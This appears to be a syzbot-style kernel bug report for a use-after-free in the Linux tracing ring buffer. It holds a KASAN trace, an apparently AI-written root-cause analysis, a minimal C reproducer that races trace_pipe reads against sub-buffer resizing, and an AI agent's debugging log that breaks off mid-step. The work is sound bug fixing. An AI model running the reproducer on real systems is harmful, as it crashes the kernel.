Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/16/2026
Call Trace:
<TASK>
__dump_stack lib/dump_stack.c:94 [inline]
dump_stack_lvl+0x100/0x190 lib/dump_stack.c:120
print_address_description mm/kasan/report.c:378 [inline]
print_report+0x13d/0x4b0 mm/kasan/report.c:482
kasan_report+0xdf/0x1c0 mm/kasan/report.c:595
ignore_event+0x83e/0xaa0 kernel/trace/trace.c:2526
trace_event_printf+0xb5/0x160 kernel/trace/trace_output.c:356
trace_raw_output_sys_enter+0x4c/0x60 include/trace/events/syscalls.h:18
print_trace_fmt kernel/trace/trace.c:3071 [inline]
print_trace_line+0x97d/0x1790 kernel/trace/trace.c:3237
tracing_read_pipe+0x586/0xd60 kernel/trace/trace.c:5444
vfs_read+0x1e4/0xb40 fs/read_write.c:572
ksys_read+0x12a/0x250 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x115/0x870 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f48cdd9e019
Code: ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 e8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007f48cebb5028 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007f48ce025fa0 RCX: 00007f48cdd9e019
RDX: 0000000000002000 RSI: 0000200000001000 RDI: 0000000000000003
RBP: 00007f48cde3500c R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000
R13: 00007f48ce026038 R14: 00007f48ce025fa0 R15: 00007ffe7508fde8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x4705a
flags: 0xfff00000000000(node=0|zone=1|lastcpupid=0x7ff)
raw: 00fff00000000000 ffffea00009a6048 ffffea00007bac08 0000000000000000
raw: 0000000000000000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 9023, tgid 9022 (syz.6.770), ts 304966657874, free_ts 587151444439
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0xfd/0x120 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0xf48/0x3530 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x299/0x2dc0 mm/page_alloc.c:5304
__alloc_pages_noprof+0xb/0x110 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data+0x60/0x160 kernel/trace/ring_buffer.c:427
__rb_allocate_pages+0xbd5/0x10a0 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x6df/0x1e80 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer.part.0+0x52/0x1f0 kernel/trace/trace.c:4738
__tracing_resize_ring_buffer kernel/trace/trace.c:4732 [inline]
tracing_update_buffers+0xd4/0xf0 kernel/trace/trace.c:4977
event_enable_write+0x23f/0x340 kernel/trace/trace_events.c:1926
vfs_write+0x2aa/0x1050 fs/read_write.c:685
ksys_write+0x12a/0x250 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x115/0x870 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 11775 tgid 11774 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0x79f/0x1090 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0x12d5/0x18a0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x182/0x280 kernel/trace/trace.c:8221
vfs_write+0x2aa/0x1050 fs/read_write.c:685
ksys_write+0x12a/0x250 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x115/0x870 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff88804705a080: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff88804705a100: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff88804705a180: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff88804705a200: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff88804705a280: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
Reply: ### Analysis of the Bug
The bug is a Use-After-Free (UAF) in the tracing subsystem, specifically when reading from the `trace_pipe` while concurrently changing the ring buffer's sub-buffer size.
Here is the sequence of events that leads to the crash:
1. **Reading the Trace Pipe:** When a user reads from `/sys/kernel/tracing/trace_pipe`, `tracing_read_pipe()` is invoked. It calls `trace_find_next_entry_inc()` to peek at the next event in the ring buffer.
2. **Peeking the Event:** `ring_buffer_iter_peek()` acquires the `cpu_buffer->reader_lock`, gets a pointer to the event inside the reader page, and then **drops the lock**. It returns the pointer to the event data.
3. **Concurrent Sub-buffer Size Change:** Meanwhile, another thread writes to `/sys/kernel/tracing/buffer_subbuf_size_kb`. This invokes `buffer_subbuf_size_write()`, which calls `ring_buffer_subbuf_order_set()`.
4. **Freeing the Reader Page:** `ring_buffer_subbuf_order_set()` acquires the `cpu_buffer->reader_lock`, swaps out the current reader page for a newly allocated one of the new size, drops the lock, and then **frees the old reader page** (`free_buffer_page()`).
5. **Use-After-Free:** Back in the first thread, `tracing_read_pipe()` proceeds to format and print the event using the pointer it obtained earlier. It calls `print_trace_line()` -> `print_trace_fmt()` -> `trace_raw_output_sys_enter()` -> `trace_event_printf()` -> `ignore_event()`. When `ignore_event()` dereferences `iter->ent->type`, it accesses the memory of the reader page that was just freed, triggering the KASAN UAF report.
### Reproduction Strategy
To reproduce this bug, we need to maximize the race window between reading the trace pipe and changing the sub-buffer size. We can achieve this with a minimal C program that uses three threads:
1. **Event Generator:** A thread that continuously executes a syscall (e.g., `getpid()`) to flood the ring buffer with `sys_enter` events.
2. **Trace Reader:** A thread that continuously reads from `/sys/kernel/tracing/trace_pipe`.
3. **Size Changer:** A thread that continuously writes alternating valid sizes (e.g., `4` and `8` KB) to `/sys/kernel/tracing/buffer_subbuf_size_kb` to force the reallocation and freeing of the reader pages.
### Minimal C Reproducer
```c
#define _GNU_SOURCE
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/syscall.h>
static void *read_pipe(void *arg)
{
int fd = open("/sys/kernel/tracing/trace_pipe", O_RDONLY);
if (fd < 0) {
perror("open trace_pipe");
return NULL;
}
char buf[4096];
while (1) {
read(fd, buf, sizeof(buf));
}
return NULL;
}
static void *write_size(void *arg)
{
int fd = open("/sys/kernel/tracing/buffer_subbuf_size_kb", O_WRONLY);
if (fd < 0) {
perror("open buffer_subbuf_size_kb");
return NULL;
}
while (1) {
/* Alternate between 4KB (order 0) and 8KB (order 1) */
write(fd, "4\n", 2);
write(fd, "8\n", 2);
}
return NULL;
}
static void *do_syscalls(void *arg)
{
while (1) {
syscall(SYS_getpid);
}
return NULL;
}
int main(void)
{
int fd;
/* Enable all events to ensure the ring buffer is flooded with data */
fd = open("/sys/kernel/tracing/events/enable", O_WRONLY);
if (fd >= 0) {
write(fd, "1", 1);
close(fd);
} else {
perror("open events/enable");
}
pthread_t t1, t2, t3;
pthread_create(&t1, NULL, read_pipe, NULL);
pthread_create(&t2, NULL, write_size, NULL);
pthread_create(&t3, NULL, do_syscalls, NULL);
pthread_join(t1, NULL);
pthread_join(t2, NULL);
pthread_join(t3, NULL);
return 0;
}
```
|
| 5/2 |
2026/08/12 02:28 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 4957
output: 30
thoughts: 718
Thoughts: **My Analysis of the KASAN Use-After-Free Bug**
I've been digging into a KASAN use-after-free bug I found, and it's definitely located in the `ignore_event` function within `kernel/trace/trace.c` at line 2526.
Looking at the stack trace for the crash itself, it's quite clear how the execution path led to the issue:
* The problem originates in `ignore_event`.
* This function is called by `trace_event_printf`.
* `trace_event_printf` seems to be involved in formatting trace output, as it's called by `trace_raw_output_sys_enter` which is a syscall trace event.
* The output formatting then leads into `print_trace_fmt` and subsequently `print_trace_line`.
* Crucially, `print_trace_line` is called by `tracing_read_pipe`. This tells me the read path from a trace pipe is implicated.
* The read operation itself is handled by the standard `vfs_read`, which ultimately calls `ksys_read`.
Now, I need to understand how the memory involved in this operation was allocated and, more importantly, freed.
The allocation path shows that the page in question was allocated via `alloc_cpu_data`.
* This function appears to be part of the ring buffer's CPU-specific data management.
* It's called by `__rb_allocate_pages`.
* The allocation is part of a larger `ring_buffer_resize` operation.
* This `ring_buffer_resize` is initiated by `__tracing_resize_ring_buffer`, which is itself called by `tracing_update_buffers`.
* `tracing_update_buffers` is triggered by `event_enable_write`, suggesting that enabling or disabling trace events, which might involve resizing buffers, is where the allocation originates.
* The write path for this resizing is handled by `vfs_write`.
The freeing path is where things get really interesting and point directly to the race condition:
* The page is freed via `free_buffer_page`.
* This function is called by `ring_buffer_subbuf_order_set`.
* Looking deeper, `ring_buffer_subbuf_order_set` is called by `buffer_subbuf_size_write`.
* And again, `buffer_subbuf_size_write` is involved in a `vfs_write` operation.
Putting it all together, the problem appears to be a race condition. Specifically, I believe there's a conflict between a process attempting to *read* from a `trace_pipe` (which involves `tracing_read_pipe` and ultimately calls `ignore_event`) and another process that is *modifying the subbuffer size* of the trace ring buffer (which involves `buffer_subbuf_size_write` and ultimately calls `free_buffer_page` to deallocate the page). When the subbuffer size is changed, the page is freed, and if a read operation is still in progress or trying to access that now-freed page, it leads to the use-after-free.
My next step is to meticulously examine the code within `ignore_event` in `kernel/trace/trace.c` to pinpoint the exact memory access that occurs after the page has been freed by the `buffer_subbuf_size_write` path.
|
| 6/2 |
2026/08/12 02:28 |
tool |
grepper |
0m
Args: map[Expression:ignore_event PathPrefix:kernel/trace/trace.c]
Results: map[Output:kernel/trace/trace.c=2451=static bool trace_safe_str(struct trace_iterator *iter, const char *str)
--
kernel/trace/trace.c-2496-/**
kernel/trace/trace.c:2497: * ignore_event - Check dereferenced fields while writing to the seq buffer
kernel/trace/trace.c-2498- * @iter: The iterator that holds the seq buffer and the event being printed
--
kernel/trace/trace.c-2516- */
kernel/trace/trace.c:2517:bool ignore_event(struct trace_iterator *iter)
kernel/trace/trace.c-2518-{
]
|
| 7/2 |
2026/08/12 02:28 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 5869
output: 36
thoughts: 19
Thoughts: **My Thought Process Regarding `ignore_event` in `kernel/trace/trace.c`**
My immediate impulse is to delve into the source code, and my starting point is the `ignore_event` function located within `kernel/trace/trace.c`. I want to understand precisely how this function operates and what its role is in the overall tracing mechanism. My goal is to gain a comprehensive grasp of its logic, its parameters, its return values, and crucially, its impact on how events are filtered and processed within the kernel's tracing framework. I'm looking to see if it's a simple toggle, a complex set of conditions, or something else entirely that determines whether a trace event is suppressed or allowed to proceed.
|
| 8/2 |
2026/08/12 02:28 |
tool |
read-file |
0m
Args: map[File:kernel/trace/trace.c FirstLine:2517 LineCount:50]
Results: map[Contents:2517: bool ignore_event(struct trace_iterator *iter)
2518: {
2519: struct ftrace_event_field *field;
2520: struct trace_event *trace_event;
2521: struct trace_event_call *event;
2522: struct list_head *head;
2523: struct trace_seq *seq;
2524: const void *ptr;
2525:
2526: trace_event = ftrace_find_event(iter->ent->type);
2527:
2528: seq = &iter->seq;
2529:
2530: if (!trace_event) {
2531: trace_seq_printf(seq, "EVENT ID %d NOT FOUND?\n", iter->ent->type);
2532: return true;
2533: }
2534:
2535: event = container_of(trace_event, struct trace_event_call, event);
2536: if (!(event->flags & TRACE_EVENT_FL_TEST_STR))
2537: return false;
2538:
2539: head = trace_get_fields(event);
2540: if (!head) {
2541: trace_seq_printf(seq, "FIELDS FOR EVENT '%s' NOT FOUND?\n",
2542: trace_event_name(event));
2543: return true;
2544: }
2545:
2546: /* Offsets are from the iter->ent that points to the raw event */
2547: ptr = iter->ent;
2548:
2549: list_for_each_entry(field, head, link) {
2550: const char *str;
2551: bool good;
2552:
2553: if (!field->needs_test)
2554: continue;
2555:
2556: str = *(const char **)(ptr + field->offset);
2557:
2558: good = trace_safe_str(iter, str);
2559:
2560: /*
2561: * If you hit this warning, it is likely that the
2562: * trace event in question used %s on a string that
2563: * was saved at the time of the event, but may not be
2564: * around when the trace is read. Use __string(),
2565: * __assign_str() and __get_str() helpers in the TRACE_EVENT()
2566: * instead. See samples/trace_events/trace-events-sample.h
]
|
| 9/2 |
2026/08/12 02:28 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 6644
output: 21
thoughts: 104
Thoughts: **My Debugging Journey**
My current focus is on a crash occurring within the `ignore_event` function in the Linux kernel, specifically at `ignore_event+0x83e/0xaa0 kernel/trace/trace.c:2526`. This line of code, `trace_event = ftrace_find_event(iter->ent->type);`, is where the execution falters.
I'm immediately struck by a detail: `iter->ent->type` is being read as a 2-byte value. This immediately raises a flag because I know `iter->ent` is a pointer to a `struct trace_entry`. My next logical step in this investigation is to thoroughly examine the definition of `struct trace_entry` to understand the context and potential implications of this 2-byte read. I need to see how `type` is defined within that structure to determine if this access pattern is expected or if it could be a source of the corruption leading to the crash.
|
| 10/2 |
2026/08/12 02:28 |
tool |
codesearch-struct-layout |
0m
Args:
Results: map[Fields:[map[Name:type OffsetBits:0 SizeBits:16] map[Name:flags OffsetBits:16 SizeBits:8] map[Name:preempt_count OffsetBits:24 SizeBits:8] map[Name:pid OffsetBits:32 SizeBits:32]]]
|
| 11/2 |
2026/08/12 02:28 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 6813
output: 37
thoughts: 60
Thoughts: **My Thought Process:**
Alright, let's break down what's happening here. I've just identified that the `type` field is located right at the beginning of the data structure, occupying the first 16 bits, which translates to 2 bytes. This is a critical piece of information because it immediately suggests that `iter->ent` is currently pointing to a memory location that has already been freed.
My next step is to figure out *how* `iter->ent` ended up pointing to this invalid memory. My current hypothesis is that it's being set within the `tracing_read_pipe` function. To validate this, I need to dive into the implementation of `tracing_read_pipe` itself. I need to examine the code there to trace the assignment of `iter->ent` and understand the sequence of events that leads to it referencing a freed page. This deep dive is essential to pinpoint the root cause of the memory corruption or invalid pointer issue.
|
| 12/2 |
2026/08/12 02:29 |
tool |
read-file |
0m
Args: map[File:kernel/trace/trace.c FirstLine:5400 LineCount:100]
Results: map[Contents:5400: * This is just a matter of traces coherency, the ring buffer itself
5401: * is protected.
5402: */
5403: guard(mutex)(&iter->mutex);
5404:
5405: /* return any leftover data */
5406: sret = trace_seq_to_user(&iter->seq, ubuf, cnt);
5407: if (sret != -EBUSY)
5408: return sret;
5409:
5410: trace_seq_init(&iter->seq);
5411:
5412: if (iter->trace->read) {
5413: sret = iter->trace->read(iter, filp, ubuf, cnt, ppos);
5414: if (sret)
5415: return sret;
5416: }
5417:
5418: waitagain:
5419: if (update_last_data_if_empty(iter->tr))
5420: return 0;
5421:
5422: sret = tracing_wait_pipe(filp);
5423: if (sret <= 0)
5424: return sret;
5425:
5426: /* stop when tracing is finished */
5427: if (trace_empty(iter))
5428: return 0;
5429:
5430: if (cnt >= TRACE_SEQ_BUFFER_SIZE)
5431: cnt = TRACE_SEQ_BUFFER_SIZE - 1;
5432:
5433: /* reset all but tr, trace, and overruns */
5434: trace_iterator_reset(iter);
5435: cpumask_clear(iter->started);
5436: trace_seq_init(&iter->seq);
5437:
5438: trace_event_read_lock();
5439: trace_access_lock(iter->cpu_file);
5440: while (trace_find_next_entry_inc(iter) != NULL) {
5441: enum print_line_t ret;
5442: int save_len = iter->seq.seq.len;
5443:
5444: ret = print_trace_line(iter);
5445: if (ret == TRACE_TYPE_PARTIAL_LINE) {
5446: /*
5447: * If one print_trace_line() fills entire trace_seq in one shot,
5448: * trace_seq_to_user() will returns -EBUSY because save_len == 0,
5449: * In this case, we need to consume it, otherwise, loop will peek
5450: * this event next time, resulting in an infinite loop.
5451: */
5452: if (save_len == 0) {
5453: iter->seq.full = 0;
5454: trace_seq_puts(&iter->seq, "[LINE TOO BIG]\n");
5455: trace_consume(iter);
5456: break;
5457: }
5458:
5459: /* In other cases, don't print partial lines */
5460: iter->seq.seq.len = save_len;
5461: break;
5462: }
5463: if (ret != TRACE_TYPE_NO_CONSUME)
5464: trace_consume(iter);
5465:
5466: if (trace_seq_used(&iter->seq) >= cnt)
5467: break;
5468:
5469: /*
5470: * Setting the full flag means we reached the trace_seq buffer
5471: * size and we should leave by partial output condition above.
5472: * One of the trace_seq_* functions is not used properly.
5473: */
5474: WARN_ONCE(iter->seq.full, "full flag set for trace type %d",
5475: iter->ent->type);
5476: }
5477: trace_access_unlock(iter->cpu_file);
5478: trace_event_read_unlock();
5479:
5480: /* Now copy what we have to the user */
5481: sret = trace_seq_to_user(&iter->seq, ubuf, cnt);
5482: if (iter->seq.readpos >= trace_seq_used(&iter->seq))
5483: trace_seq_init(&iter->seq);
5484:
5485: /*
5486: * If there was nothing to send to user, in spite of consuming trace
5487: * entries, go back to wait for more entries.
5488: */
5489: if (sret == -EBUSY)
5490: goto waitagain;
5491:
5492: return sret;
5493: }
5494:
5495: static void tracing_spd_release_pipe(struct splice_pipe_desc *spd,
5496: unsigned int idx)
5497: {
5498: __free_page(spd->pages[idx]);
5499: }
]
|
| 13/2 |
2026/08/12 02:29 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 8356
output: 36
thoughts: 90
Thoughts: **My Debugging Journey**
Okay, so I've pinpointed the crash. It's happening deep within the trace printing mechanism, specifically within `print_trace_line(iter)`. Following the call stack, I see it moves to `print_trace_fmt`, then `trace_raw_output_sys_enter`, which in turn calls `trace_event_printf`. And the ultimate culprit, the function directly preceding the crash, is `ignore_event`.
Now, to understand *why* `ignore_event` is being called in this context, I need to look at how `iter->ent` is being populated. The documentation indicates that `iter->ent` is set by `trace_find_next_entry_inc(iter)`. This is the next crucial piece of the puzzle, so I'm going to dive into the implementation of `trace_find_next_entry_inc` to see what's going on there and how it's leading us to this `ignore_event` situation.
|
| 14/2 |
2026/08/12 02:29 |
tool |
read-file |
0m
Args: map[File:kernel/trace/trace.c FirstLine:3490 LineCount:50]
Results: map[Contents:3490: int tracing_open_generic_tr(struct inode *inode, struct file *filp)
3491: {
3492: struct trace_array *tr = inode->i_private;
3493: int ret;
3494:
3495: ret = tracing_check_open_get_tr(tr);
3496: if (ret)
3497: return ret;
3498:
3499: if ((filp->f_mode & FMODE_WRITE) && trace_array_is_readonly(tr)) {
3500: trace_array_put(tr);
3501: return -EACCES;
3502: }
3503:
3504: filp->private_data = inode->i_private;
3505:
3506: return 0;
3507: }
3508:
3509: /*
3510: * The private pointer of the inode is the trace_event_file.
3511: * Update the tr ref count associated to it.
3512: */
3513: int tracing_open_file_tr(struct inode *inode, struct file *filp)
3514: {
3515: struct trace_event_file *file = inode->i_private;
3516: int ret;
3517:
3518: ret = tracing_check_open_get_tr(file->tr);
3519: if (ret)
3520: return ret;
3521:
3522: guard(mutex)(&event_mutex);
3523:
3524: /* Fail if the file is marked for removal */
3525: if (file->flags & EVENT_FILE_FL_FREED) {
3526: trace_array_put(file->tr);
3527: return -ENODEV;
3528: } else {
3529: event_file_get(file);
3530: }
3531:
3532: return 0;
3533: }
3534:
3535: int tracing_release_file_tr(struct inode *inode, struct file *filp)
3536: {
3537: struct trace_event_file *file = inode->i_private;
3538:
3539: trace_array_put(file->tr);
]
|
| 15/2 |
2026/08/12 02:29 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 9148
output: 36
thoughts: 22
Thoughts: **My Thought Process for Locating `trace_find_next_entry_inc`**
Okay, so I've just realized that I've overlooked a critical function, `trace_find_next_entry_inc`. My immediate reaction is to find it, to understand its purpose within the broader context of the tracing mechanism. The first thing that comes to mind is initiating a targeted search for this specific function name. I'm going to use my knowledge of the codebase and the available search tools to pinpoint its exact location. This isn't just about finding the line of code; it's about understanding where it fits, what its dependencies are, and how it contributes to the overall tracing logic. My expertise tells me that missing even a seemingly small component can have cascading effects, so this search is a priority.
|
| 16/2 |
2026/08/12 02:29 |
tool |
grepper |
0m
Args: map[Expression:trace_find_next_entry_inc PathPrefix:kernel/trace/trace.c]
Results: map[Output:kernel/trace/trace.c=2622=struct trace_entry *trace_find_next_entry(struct trace_iterator *iter,
--
kernel/trace/trace.c-2667-/* Find the next real entry, and increment the iterator to the next entry */
kernel/trace/trace.c:2668:void *trace_find_next_entry_inc(struct trace_iterator *iter)
kernel/trace/trace.c-2669-{
--
kernel/trace/trace.c=2691=static void *s_next(struct seq_file *m, void *v, loff_t *pos)
--
kernel/trace/trace.c-2705- if (iter->idx < 0)
kernel/trace/trace.c:2706: ent = trace_find_next_entry_inc(iter);
kernel/trace/trace.c-2707- else
--
kernel/trace/trace.c-2710- while (ent && iter->idx < i)
kernel/trace/trace.c:2711: ent = trace_find_next_entry_inc(iter);
kernel/trace/trace.c-2712-
--
kernel/trace/trace.c=5392=tracing_read_pipe(struct file *filp, char __user *ubuf,
--
kernel/trace/trace.c-5439- trace_access_lock(iter->cpu_file);
kernel/trace/trace.c:5440: while (trace_find_next_entry_inc(iter) != NULL) {
kernel/trace/trace.c-5441- enum print_line_t ret;
--
kernel/trace/trace.c=5502=tracing_fill_pipe_page(size_t rem, struct trace_iterator *iter)
--
kernel/trace/trace.c-5537- rem -= count;
kernel/trace/trace.c:5538: if (!trace_find_next_entry_inc(iter)) {
kernel/trace/trace.c-5539- rem = 0;
--
kernel/trace/trace.c=5548=static ssize_t tracing_splice_read_pipe(struct file *filp,
--
kernel/trace/trace.c-5584-
kernel/trace/trace.c:5585: if (!iter->ent && !trace_find_next_entry_inc(iter)) {
kernel/trace/trace.c-5586- ret = -EFAULT;
--
kernel/trace/trace.c=9355=static void ftrace_dump_one(struct trace_array *tr, enum ftrace_dump_mode dump_mode)
--
kernel/trace/trace.c-9418-
kernel/trace/trace.c:9419: if (trace_find_next_entry_inc(&iter) != NULL) {
kernel/trace/trace.c-9420- int ret;
]
|
| 17/2 |
2026/08/12 02:29 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 9941
output: 36
thoughts: 15
Thoughts: **My Thought Process Upon Reviewing `trace_find_next_entry_inc`**
Alright, my immediate inclination is to dive into `trace_find_next_entry_inc`. I'm curious to understand its role, specifically how it manages the progression to the *next* trace entry, and what the "inc" suffix implies. My expertise tells me that such functions are often the linchpin of trace parsers or analysis tools, responsible for iterating through recorded events. I anticipate seeing logic that handles boundary conditions – what happens when we’re already at the last entry? Does it signal end-of-stream, return an error, or perhaps wrap around (though that last one seems unlikely for a trace)? I’ll be looking for how it manages internal state, perhaps an index or pointer, and how that state is incremented or updated. Furthermore, understanding the data structures it interacts with – what constitutes a "trace entry" and how is it represented? – will be crucial to grasping its functionality and any potential performance implications. I’m expecting a fairly straightforward iteration mechanism, but I’ll be paying close attention to any subtle optimizations or error-handling strategies that might be employed.
|
| 18/2 |
2026/08/12 02:29 |
tool |
read-file |
0m
Args: map[File:kernel/trace/trace.c FirstLine:2668 LineCount:50]
Results: map[Contents:2668: void *trace_find_next_entry_inc(struct trace_iterator *iter)
2669: {
2670: struct ring_buffer_iter *buf_iter;
2671:
2672: iter->ent = __find_next_entry(iter, &iter->cpu,
2673: &iter->lost_events, &iter->ts);
2674:
2675: if (iter->ent) {
2676: iter->idx++;
2677: buf_iter = trace_buffer_iter(iter, iter->cpu);
2678: if (buf_iter)
2679: ring_buffer_iter_advance(buf_iter);
2680: }
2681:
2682: return iter->ent ? iter : NULL;
2683: }
2684:
2685: static void trace_consume(struct trace_iterator *iter)
2686: {
2687: ring_buffer_consume(iter->array_buffer->buffer, iter->cpu, &iter->ts,
2688: &iter->lost_events);
2689: }
2690:
2691: static void *s_next(struct seq_file *m, void *v, loff_t *pos)
2692: {
2693: struct trace_iterator *iter = m->private;
2694: int i = (int)*pos;
2695: void *ent;
2696:
2697: WARN_ON_ONCE(iter->leftover);
2698:
2699: (*pos)++;
2700:
2701: /* can't go backwards */
2702: if (iter->idx > i)
2703: return NULL;
2704:
2705: if (iter->idx < 0)
2706: ent = trace_find_next_entry_inc(iter);
2707: else
2708: ent = iter;
2709:
2710: while (ent && iter->idx < i)
2711: ent = trace_find_next_entry_inc(iter);
2712:
2713: iter->pos = *pos;
2714:
2715: return ent;
2716: }
2717:
]
|
| 19/2 |
2026/08/12 02:29 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 10648
output: 36
thoughts: 16
Thoughts: **My Thought Process**
Alright, so I'm digging into this code, and I've just established a crucial point: the `iter->ent` variable. I now understand that this `iter->ent` pointer is actually being assigned its value directly by the `__find_next_entry` function. This isn't just a random assignment; it signifies that whenever I need to access the current entry within the iteration, I'll be looking at whatever `__find_next_entry` has just determined and set. This is fundamental for tracking my position and what data I'm currently examining during the iteration.
|
| 20/2 |
2026/08/12 02:29 |
tool |
read-file |
0m
Args: map[File:kernel/trace/trace.c FirstLine:2568 LineCount:50]
Results: map[Contents:2568: */
2569: if (WARN_ONCE(!good, "event '%s' has unsafe pointer field '%s'",
2570: trace_event_name(event), field->name)) {
2571: trace_seq_printf(seq, "EVENT %s: HAS UNSAFE POINTER FIELD '%s'\n",
2572: trace_event_name(event), field->name);
2573: return true;
2574: }
2575: }
2576: return false;
2577: }
2578:
2579: const char *trace_event_format(struct trace_iterator *iter, const char *fmt)
2580: {
2581: const char *p, *new_fmt;
2582: char *q;
2583:
2584: if (WARN_ON_ONCE(!fmt))
2585: return fmt;
2586:
2587: if (!iter->tr || iter->tr->trace_flags & TRACE_ITER(HASH_PTR))
2588: return fmt;
2589:
2590: p = fmt;
2591: new_fmt = q = iter->fmt;
2592: while (*p) {
2593: if (unlikely(q - new_fmt + 3 > iter->fmt_size)) {
2594: if (!trace_iter_expand_format(iter))
2595: return fmt;
2596:
2597: q += iter->fmt - new_fmt;
2598: new_fmt = iter->fmt;
2599: }
2600:
2601: *q++ = *p++;
2602:
2603: /* Replace %p with %px */
2604: if (p[-1] == '%') {
2605: if (p[0] == '%') {
2606: *q++ = *p++;
2607: } else if (p[0] == 'p' && !isalnum(p[1])) {
2608: *q++ = *p++;
2609: *q++ = 'x';
2610: }
2611: }
2612: }
2613: *q = '\0';
2614:
2615: return new_fmt;
2616: }
2617:
]
|
| 21/2 |
2026/08/12 02:29 |
llm |
initial-researcher |
0m
Model:
Tokens:
input: 11372
output: 33
thoughts: 12
Thoughts: **My Thought Process for Locating `__find_next_entry`**
Okay, so my primary objective here is to locate the `__find_next_entry` function. This isn't just a casual search; I'm approaching this with the expectation that I'm dealing with a well-structured codebase, likely one where internal helper functions are clearly named, and potentially prefixed with an underscore to indicate their internal, non-public status.
The `__` prefix is a strong indicator. It tells me this isn't a top-level API call or a function meant for direct external use. It's almost certainly an internal implementation detail, a private helper, or a low-level routine. This suggests I should be looking within the implementation details of a larger component or module, rather than in the public interface.
My next step would be to consider *where* such a function would logically reside. The name `find_next_entry` strongly implies operations related to iteration, searching within a collection, or perhaps processing sequential data structures. I'd be thinking about data structures that have "entries" – perhaps linked lists, hash tables, or even file system entries.
Given the likely internal nature, I'm going to start by examining the source code of modules that deal with these kinds of data structures or iteration patterns. I'll be looking for patterns like:
* Loops that iterate over collections.
* Functions that manage iterators or cursors.
* Data structure implementations themselves (e.g., the code that defines a `List` or `HashTable`).
* Any code that performs searching or retrieval operations.
I'll be performing a targeted search within the codebase. My search query will be precisely `__find_next_entry`. I'll be paying close attention to the context of where this function is called from. Is it part of a class's method? Is it a standalone utility function within a specific module? Understanding its call sites will be crucial for understanding its purpose and how it fits into the broader system.
Ultimately, I'm looking for the declaration and definition of `__find_next_entry` to understand its parameters, its return value, and the logic it encapsulates. This will allow me to then integrate its functionality or understand its role in the system.
|
| 22/2 |
2026/08/12 02:29 |
tool |
grepper |
0m
Args: map[Expression:__find_next_entry PathPrefix:kernel/trace/trace.c]
Results: map[Output:kernel/trace/trace.c=2366=static struct trace_entry *
kernel/trace/trace.c:2367:__find_next_entry(struct trace_iterator *iter, int *ent_cpu,
kernel/trace/trace.c-2368- unsigned long *missing_events, u64 *ent_ts)
--
kernel/trace/trace.c=2622=struct trace_entry *trace_find_next_entry(struct trace_iterator *iter,
--
kernel/trace/trace.c-2624-{
kernel/trace/trace.c:2625: /* __find_next_entry will reset ent_size */
kernel/trace/trace.c-2626- int ent_size = iter->ent_size;
--
kernel/trace/trace.c-2641- /*
kernel/trace/trace.c:2642: * The __find_next_entry() may call peek_next_entry(), which may
kernel/trace/trace.c-2643- * call ring_buffer_peek() that may make the contents of iter->ent
--
kernel/trace/trace.c-2659- }
kernel/trace/trace.c:2660: entry = __find_next_entry(iter, ent_cpu, NULL, ent_ts);
kernel/trace/trace.c-2661- /* Put back the original ent_size */
--
kernel/trace/trace.c=2668=void *trace_find_next_entry_inc(struct trace_iterator *iter)
--
kernel/trace/trace.c-2671-
kernel/trace/trace.c:2672: iter->ent = __find_next_entry(iter, &iter->cpu,
kernel/trace/trace.c-2673- &iter->lost_events, &iter->ts);
]
|
| 23/2 |
2026/08/12 02:29 |
llm |
initial-researcher |
0m
Model:
